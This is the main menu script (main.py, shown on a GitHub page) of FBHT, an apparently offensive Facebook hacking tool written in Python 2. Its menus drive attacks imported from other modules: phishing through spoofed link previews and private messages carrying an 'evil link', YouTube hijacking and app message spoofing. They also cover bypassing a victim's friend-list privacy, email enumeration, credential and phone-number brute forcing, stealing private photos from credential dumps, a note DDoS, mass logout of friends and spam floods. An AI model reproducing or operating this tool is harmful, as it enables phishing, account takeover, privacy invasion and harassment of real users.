-
Notifications
You must be signed in to change notification settings - Fork 445
/
main.py
executable file
·798 lines (684 loc) · 33.3 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
from mainFunc import privateMessageLink,sendRequestToList,setGlobalLogginng , \
reAnalyzeGraph,analyzeGraph,bypassFriendshipPrivacyPlot, \
massLogin,acceptRequest,friendshipRequest,like, \
appMessageSpoof,setMail,login,linkPreviewYoutube,\
linkPreview,hijackVideo, privateMessagePhishing, \
bypassFriendshipPrivacy, linkFriends, createUser, \
deleteUser,deleteAccounts, checkPrivacy, friendshipPlot, \
simpleGraph, dotFile, simpleDotGraph, noteDDoS, likeDev, \
devTest, getTest, changePassword,massMessage, \
massLoginTest, plotDOT, dotFileDatabase, \
simpleDotGraphDatabase, friendlyLogout, takePhotos, \
accountexists, checkLogin,steal, bruteforceCel, sendBroadcast, getFriends, \
getUserIDS, checkMe
from database import connect,status, checkTableExistence, createVictimTable
from time import time
import signal
from handlers import *
from sys import stdin
import os
globalLogin = False
globalEmail = ''
globalPassword = ''
privacy = {'0':'80','1':'40','2':'10'}
privacySet = ['0','1','2']
def main():
global globalLogin
global globalEmail
global globalPassword
print ' \n \n \n \n \n \n '
print ' ______ ____ _ _ _______ '
print ' | ____| _ \| | | |__ __| '
print ' | |__ | |_) | |__| | | | '
print ' | __| | _ <| __ | | | '
print ' | | | |_) | | | | | | '
print ' |_| |____/|_| |_| |_| '
print ' ____ __ '
print ' |___ \/_ | '
print ' __ ____) || | '
print ' \ \ / /__ < | | '
print ' \ V /___) || | '
print ' \_/|____(_)_| '
print ' '
print ' _ _ '
print ' ____ | | (_) '
print ' / __ \ ___| |__ _ _ __ ___ ___ __ _ __ ___ ____ _ '
print ' / / _` |/ __| \'_ \| | \'_ \ / _ \ / _ \ / _` |/ _` \ \ /\ / / _` |'
print ' | | (_| | (__| | | | | | | | (_) | (_) | (_| | (_| |\ V V | (_| |'
print ' \ \__,_|\___|_| |_|_|_| |_|\___/ \___/ \__, |\__,_| \_/\_/ \__,_|'
print ' \____/ __/ | '
print ' |___/ '
print '\n\n\n\n\n\n'
raw_input('Enjoy it :D . Press enter to get started')
def testAccounts():
option = 0
def createAcc():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
appID = raw_input('Enter Application ID: ')
if (login(email,password,'real'))!= -1:
number = raw_input('Insert the amount of accounts for creation (4 min): ')
for i in range(int(number)/4):
sTime = time()
devTest(appID)
getTest(appID)
def deleteAcc():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
deleteUser()
deleteAccounts()
sTime = time()
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue: ')
def connectAcc():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
sTime = time()
massLoginTest()
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:')
def friendRequest():
sTime = time()
massLogin()
friendshipRequest()
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:')
def friendAccept():
sTime = time()
massLogin()
acceptRequest()
raw_input('Execution time : %d' %(time() - sTime) + '\nPress Enter to continue:')
def back():
option = 0
testAccountsOptions = {
1 : createAcc,
2 : deleteAcc,
3 : connectAcc,
4 : friendRequest,
5 : friendAccept,
6 : back,
}
while option not in testAccountsOptions.keys():
print '======= Test account options ======='
print '1) Create accounts\n'
print '2) Delete all accounts for a given user\n'
print '3) Connect all the accounts of the database\n'
print '4) Send friendship requests (Test Accounts)\n'
print '5) Accept friendship requests (Test Accounts)\n'
print '6) Take me back\n'
try:
option = int(raw_input('Insert your choice: '))
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
testAccountsOptions[option]()
option = 0
def phishingVectors():
option = 0
def previewSimple():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
if option in privacySet:
summary = raw_input('Insert a summary for the link: ')
link = raw_input('Insert de evil link: ')
realLink = raw_input('Insert de real link: ')
title = raw_input('Insert a title for the link: ')
image = raw_input('Insert the image url for the post: ')
comment = raw_input('Insert a comment for the post associated: ')
linkPreview(link,realLink,title,summary,comment,image, privacy[option])
else:
print "Wrong privacy value, try again "
def previewYoutube():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
if option in privacySet:
summary = raw_input('Insert a summary for the video: ')
link = raw_input('Insert de evil link: ')
videoLink = raw_input('Insert de youtube link: ')
title = raw_input('Insert a title for the video: ')
videoID = raw_input('Insert the video ID (w?=): ')
comment = raw_input('Insert a comment for the post associated to the video: ')
linkPreviewYoutube(link,videoLink,title,summary,comment,videoID,privacy[option])
else:
print "Wrong privacy value, try again "
def youtubeHijack():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
if option in privacySet:
summary = raw_input('Insert a summary for the video: ')
videoLink = raw_input('Insert de youtube link: ')
title = raw_input('Insert a title for the video: ')
videoID = raw_input('Insert the video ID (watch?v=): ')
comment = raw_input('Insert a comment for the post associated to the video: ')
hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=): ')
hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo,privacy[option])
else:
print "Wrong privacy value, try again "
def messageSimple():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
victim = raw_input('Insert the victims user ID: ')
realLink = raw_input('Insert the real link: ')
title = raw_input('Insert a title for the link: ')
subject = raw_input('Insert the subject: ')
summary = raw_input('Insert a summary for the link: ')
message = raw_input('Insert the body of the message: ')
evilLink = raw_input('Insert the evil link: ')
imageLink = raw_input('Insert the image associated to the post: ')
privateMessageLink(message,victim,subject,realLink,title,summary,imageLink,evilLink)
def messageYoutube():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
victimId = raw_input('Insert the victims user ID: ')
subject = raw_input('Insert the subject: ')
message = raw_input('Insert the message: ')
title = raw_input('Insert a title for the video: ')
summary = raw_input('Insert a summary for the video: ')
videoLink = raw_input('Insert de youtube link: ')
evilLink = raw_input('Insert the evil link (For hijacking insert same link as above): ')
videoID = raw_input('Insert the video ID (watch?v=): ')
hijackedVideo = raw_input('Insert the ID for the hijacked video (watch?v=) - For Non-Hijackig press enter: ')
privateMessagePhishing(victimId,message,subject,evilLink,videoLink,title,summary,videoID,hijackedVideo)
def appSpoof():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
appId = raw_input('Insert a valid AppId: ')
link = raw_input('Insert de evil link: ')
picture = raw_input('Insert a link to a picture for the post: ')
title = raw_input('Insert a title for the post: ')
domain = raw_input('Insert a domain for the post: ')
description = raw_input('Insert a description for the post: ')
comment = raw_input('Insert a comment for the post: ')
appMessageSpoof(appId,link,picture,title,domain,description,comment)
def requestList():
warning = True
while ( (warning is not '0') and (warning is not '1')):
warning = raw_input('Your account could be blocked.. Continue? 0|1: ')
if (warning == '1'):
victim = raw_input('Insert the victim username (Bypass friends list first): ')
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
sendRequestToList(victim)
def back():
option = 0
phishingVectorsOptions = {
1 : previewSimple,
2 : previewYoutube,
3 : youtubeHijack,
4 : messageSimple,
5 : messageYoutube,
6 : appSpoof,
7 : requestList,
8 : back,
}
while option not in phishingVectorsOptions.keys():
print '======= Phishing vector options ======='
print '1) Link Preview hack (Simple web version)\n'
print '2) Link Preview hack (Youtube version)\n'
print '3) Youtube hijack\n'
print '4) Private message, Link Preview hack (Simple web version)\n'
print '5) Private message, Link Preview hack (Youtube version)\n'
print '6) Publish a post as an App (App Message Spoof)\n'
print '7) Send friend request to disclosed friend list from your account\n'
print '8) Take me back\n'
try:
option = int(raw_input('Insert your choice: '))
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
phishingVectorsOptions[option]()
option = 0
def OSINT():
option = 0
def bypass():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
victim = raw_input('Insert the victim username or userId: ')
transitive = raw_input('Insert the transitive username or userId: ')
print "The information will be stored in %s. \n" % os.path.join("dumps",victim+".txt")
bypassFriendshipPrivacy(victim, transitive)
def bypassGraph():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
victim = raw_input('Insert the victim username or userId: ')
check = checkPrivacy(victim)
if (check == -1):
transitive = raw_input('Insert the transitive username or userId: ')
print 'The information will be stored in %s \n' % os.path.join("dumps",victim,victim+".txt")
bypassFriendshipPrivacyPlot(victim, transitive)
else:
print 'Friends available public ;D'
victim = checkMe(victim)
friendList, friendsName = friendshipPlot(check,victim)
simpleGraph(friendList, victim)
def analize():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
analize = int(raw_input('Analyze an existing one, or a new one? (0|1): '))
victim = raw_input('Insert the victim username or userId: ')
if (analize == 1):
analyzeGraph(victim)
else:
reAnalyzeGraph(victim)
def linkDisclosed():
fileName = raw_input('Insert the victim username: ')
linkFriends(fileName)
def bypassDot():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
victim = raw_input('Insert the victim username or userId: ')
check = checkPrivacy(victim)
if (check == -1):
transitive = raw_input('Insert the transitive username or userId: ')
print 'The information will be stored in %s \n' % os.path.join("dumps",victim,victim+".txt")
dotFile(victim, transitive)
else:
print 'Friends publicly available ;D'
friendList, friendsName = friendshipPlot(check,victim)
simpleDotGraph(friendsName, victim)
def bypassDB():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
victim = raw_input('Insert the victim username or userId: ')
if ( checkTableExistence(victim) != True):
if (createVictimTable(victim) != -1):
check = checkPrivacy(victim)
if (check == -1):
transitive = raw_input('Insert the transitive username or userId: ')
dotFileDatabase(victim, transitive)
plotDOT(victim)
else:
print 'Friends publicly available ;D'
friendList, friendsName = friendshipPlot(check,victim)
simpleDotGraphDatabase(friendsName, victim)
plotDOT(victim)
def publicFriends():
email,password = setMail()
if (login(email,password,'real'))!= -1:
username = raw_input("Insert the username: ")
getFriends(username)
def idFromUsername():
email,password = setMail()
if (login(email,password,'real'))!= -1:
username = raw_input("Insert the username: ")
getUserIDS(username)
def back():
option = 0
OSINTOptions = {
1 : bypass,
2 : bypassGraph,
3 : analize,
4 : linkDisclosed,
5 : bypassDot,
6 : bypassDB,
7 : publicFriends,
8 : idFromUsername,
9 : back,
}
while option not in OSINTOptions.keys():
print '======= OSINT options ======='
print '1) Bypass friendship privacy\n'
print '2) Bypass friendship privacy with graph support\n'
print '3) Analyze an existing graph\n'
print '4) Link to disclosed friendships\n'
print '5) Bypass friendship (only .dot without graph integration)\n'
print '6) Bypass - database support (Beta) \n '
print '7) Get public friends\n'
print '8) Get userIDS from usernames\n'
print '9) Take me back\n'
try:
option = int(raw_input('Insert your choice: '))
if option > len(OSINTOptions):
raise
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
OSINTOptions[option]()
option = 0
def bruteforcing():
option = 0
def userEnumeration():
mailFile = raw_input('Insert the filename that contains the list of emails (place it in PRIVATE folder first): ')
raw_input('Verified emails will be stored in PRIVATE --> existence --> verified.txt ')
accountexists(mailFile)
def bruteforce():
mailFile = raw_input('Insert the filename that contains the list of emails and passwords (place it in PRIVATE folder first) with email:password pattern: ')
raw_input('Verified loggins will be stored in PRIVATE --> loggedin --> loggedin.txt ')
checkLogin(mailFile)
def celBruteforce():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
raw_input('Dumps will be stored in cellphones --> cellphones.txt')
first = raw_input('Insert the zone code: ')
start = raw_input('Insert the start number: ')
end = raw_input('Insert the end number: ')
bruteforceCel(first,start,end)
def back():
option = 0
bruteforcingOptions = {
1 : userEnumeration,
2 : bruteforce,
3 : celBruteforce,
4 : back,
}
while option not in bruteforcingOptions.keys():
print '======= Bruteforce options ======='
print '1) Check existence of mails\n'
print '2) Check working account and passwords\n'
print '3) Bruteforce cellphones\n'
print '4) Take me back\n'
try:
option = int(raw_input('Insert your choice: '))
if option > len(bruteforcingOptions):
raise
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
bruteforcingOptions[option]()
option = 0
def gathering():
option = 0
def photosSingleCredential():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
threads = raw_input('Usage: insert the threads filename and place it in massive folder first: ')
raw_input('Dumps will be stored in massive\\photos')
takePhotos(threads)
def photosMassive():
raw_input('You must first run option 30, if you didn\'t I will fail :D ')
raw_input('Dumps will be stored in massive\\photos')
steal()
def back():
option = 0
gatheringOptions = {
1 : photosSingleCredential,
2 : photosMassive,
3 : back,
}
while option not in gatheringOptions.keys():
print '======= Gathering options ======='
print '1) Take the photos!\n'
print '2) Steal private photos from password verified dump\n'
print '3) Take me back\n'
try:
option = int(raw_input('Insert your choice: '))
if option > len(gatheringOptions):
raise
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
gatheringOptions[option]()
option = 0
def miscellaneous():
option = 0
def broadcast():
while True:
online = raw_input("Send only to online friends? 0|1: ")
if ((int(online) == 1) or (int(online) == 0)):
break
email,password = setMail()
if (login(email,password,'real'))!= -1:
sendBroadcast(int(1))
def ddos():
print 'Facebook note DDoS attack, discovered by chr13: http://chr13.com/about-me/'
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
raw_input('Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...')
imageURL = raw_input('Insert the image URL from the site attack: ')
noteID = raw_input('Insert the note ID: ')
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
if option in privacySet:
noteDDoS(imageURL,noteID, privacy[option])
def spam():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
victim = raw_input('Insert the victim username or userId: ')
if ( checkTableExistence(victim) != True):
if (createVictimTable(victim) != -1):
check = checkPrivacy(victim)
if (check == -1):
transitive = raw_input('Insert the transitive username or userId: ')
dotFileDatabase(victim, transitive)
plotDOT(victim)
else:
print 'Friends publicly available ;D'
friendList, friendsName = friendshipPlot(check,victim)
simpleDotGraphDatabase(friendsName, victim)
plotDOT(victim)
def friendly():
if (globalLogin == False):
email,password = setMail()
else:
email = globalEmail
password = globalPassword
if (login(email,password,'real'))!= -1:
raw_input('Usage: First you must create an empty note. Once your note is created, write down the note ID number from the URL. ENTER TO CONTINUE...')
noteID = raw_input('Insert the note ID: ')
option = raw_input("Insert option for privacy 0:Public 1:Friends 2:Only Me : ")
if option in privacySet:
friendlyLogout(noteID, privacy[option])
def newLike():
try:
counter = 0
postId = []
print "Insert the Post ID's (Must be from a page). If no more posts for adding,insert '0' :"
while True:
response = raw_input('post[%d]:'%counter)
if ( response is not '0' ):
counter+=1
postId.append(response)
else:
break
likeDev(postId)
except EOFError:
print 'EOFError'
stdin.flush()
pass
except signalCaught as e:
print ' %s' %e.args[0]
def oldLike():
try:
counter = 0
postId = []
print 'Insert the Post ID\'s (Must be from a page). If no more posts for adding,insert \'0\' :'
while True:
response = raw_input('post[%d]:'%counter)
if ( response is not '0' ):
counter+=1
postId.append(response)
else:
break
quantity = raw_input('Insert the amount of likes: ')
like(postId, quantity)
except EOFError:
print 'EOFError'
stdin.flush()
pass
except signalCaught as e:
print ' %s' %e.args[0]
raw_input('Press enter to continue..')
def dead():
print 'Mail bomber through test accounts'
print 'Test accounts massive creation'
print 'Blocked Test account login bypass'
print 'We hope this tool to be useless in the future'
raw_input('Press enter to continue: ')
def back():
option = 0
miscellaneousOptions = {
1 : broadcast,
2 : ddos,
3 : spam,
4 : friendly,
5 : newLike,
6 : oldLike,
7 : dead,
8 : back,
}
while option not in miscellaneousOptions.keys():
print '======= Miscellaneous options ======='
print '1) Send broadcast to friends (Individual messages)\n'
print '2) Note DDoS attack\n'
print '3) SPAM any fanpage inbox\n'
print '4) Logout all your friends - FB blackout \n'
print '5) NEW Like flood\n'
print '6) Old Like Flood (Not working)\n'
print '7) Print dead attacks :\'( \n'
print '8) Take me back\n'
try:
option = int(raw_input('Insert your choice: '))
if option > len(miscellaneousOptions):
raise
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
miscellaneousOptions[option]()
option = 0
def configuration():
option = 0
def statusDB():
status()
raw_input('Press enter to continue: ')
def loggingLevel():
print 'This will increase the execution time significantly'
setGlobalLogginng()
def back():
option = 0
configurationOptions = {
1 : statusDB,
2 : loggingLevel,
3 : back,
}
while option not in configurationOptions.keys():
print '======= Configuration options ======='
print '1) Print database status\n'
print '2) Increase logging level globally\n'
print '3) Take me back\n'
try:
option = int(raw_input('Insert your choice: '))
if option > len(configurationOptions):
raise
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
configurationOptions[option]()
option = 0
def exitFBHT():
connect.close()
print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n '
print ' _ _ _ _______ _ _____ _ _ _ '
print '| | | | | | |__ __| | | __ \| | | | | | '
print '| |__| | __ _ ___| | __ | | | |__ ___ | |__) | | __ _ _ __ ___| |_| | '
print '| __ |/ _` |/ __| |/ / | | | _ \ / _ \ | ___/| |/ _` | _ \ / _ \ __| | '
print '| | | | (_| | (__| < | | | | | | __/ | | | | (_| | | | | __/ |_|_| '
print '|_| |_|\__,_|\___|_|\_\ |_| |_| |_|\___| |_| |_|\__,_|_| |_|\___|\__(_) '
print '\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n \n \n\n \n \n \n '
exit(0)
options = {
1 : testAccounts,
2 : phishingVectors,
3 : OSINT,
4 : bruteforcing,
5 : gathering,
6 : miscellaneous,
7 : configuration,
8 : exitFBHT,
}
while 1:
signal.signal(signal.SIGINT, signal_handler)
option = -1
while option not in options.keys():
print '1) Test accounts'
print '2) Phishing vectors'
print '3) OSINT'
print '4) Bruteforcing'
print '5) Gathering information with credentials'
print '6) Miscellaneous'
print '7) Configuration'
print '8) Take me out of here'
try:
option = int(raw_input('Insert your choice: '))
if option > len(options):
raise
except:
print 'That\'s not an integer, try again'
#Executes and restores variable after
options[option]()
option = 0
if __name__ == '__main__':
main()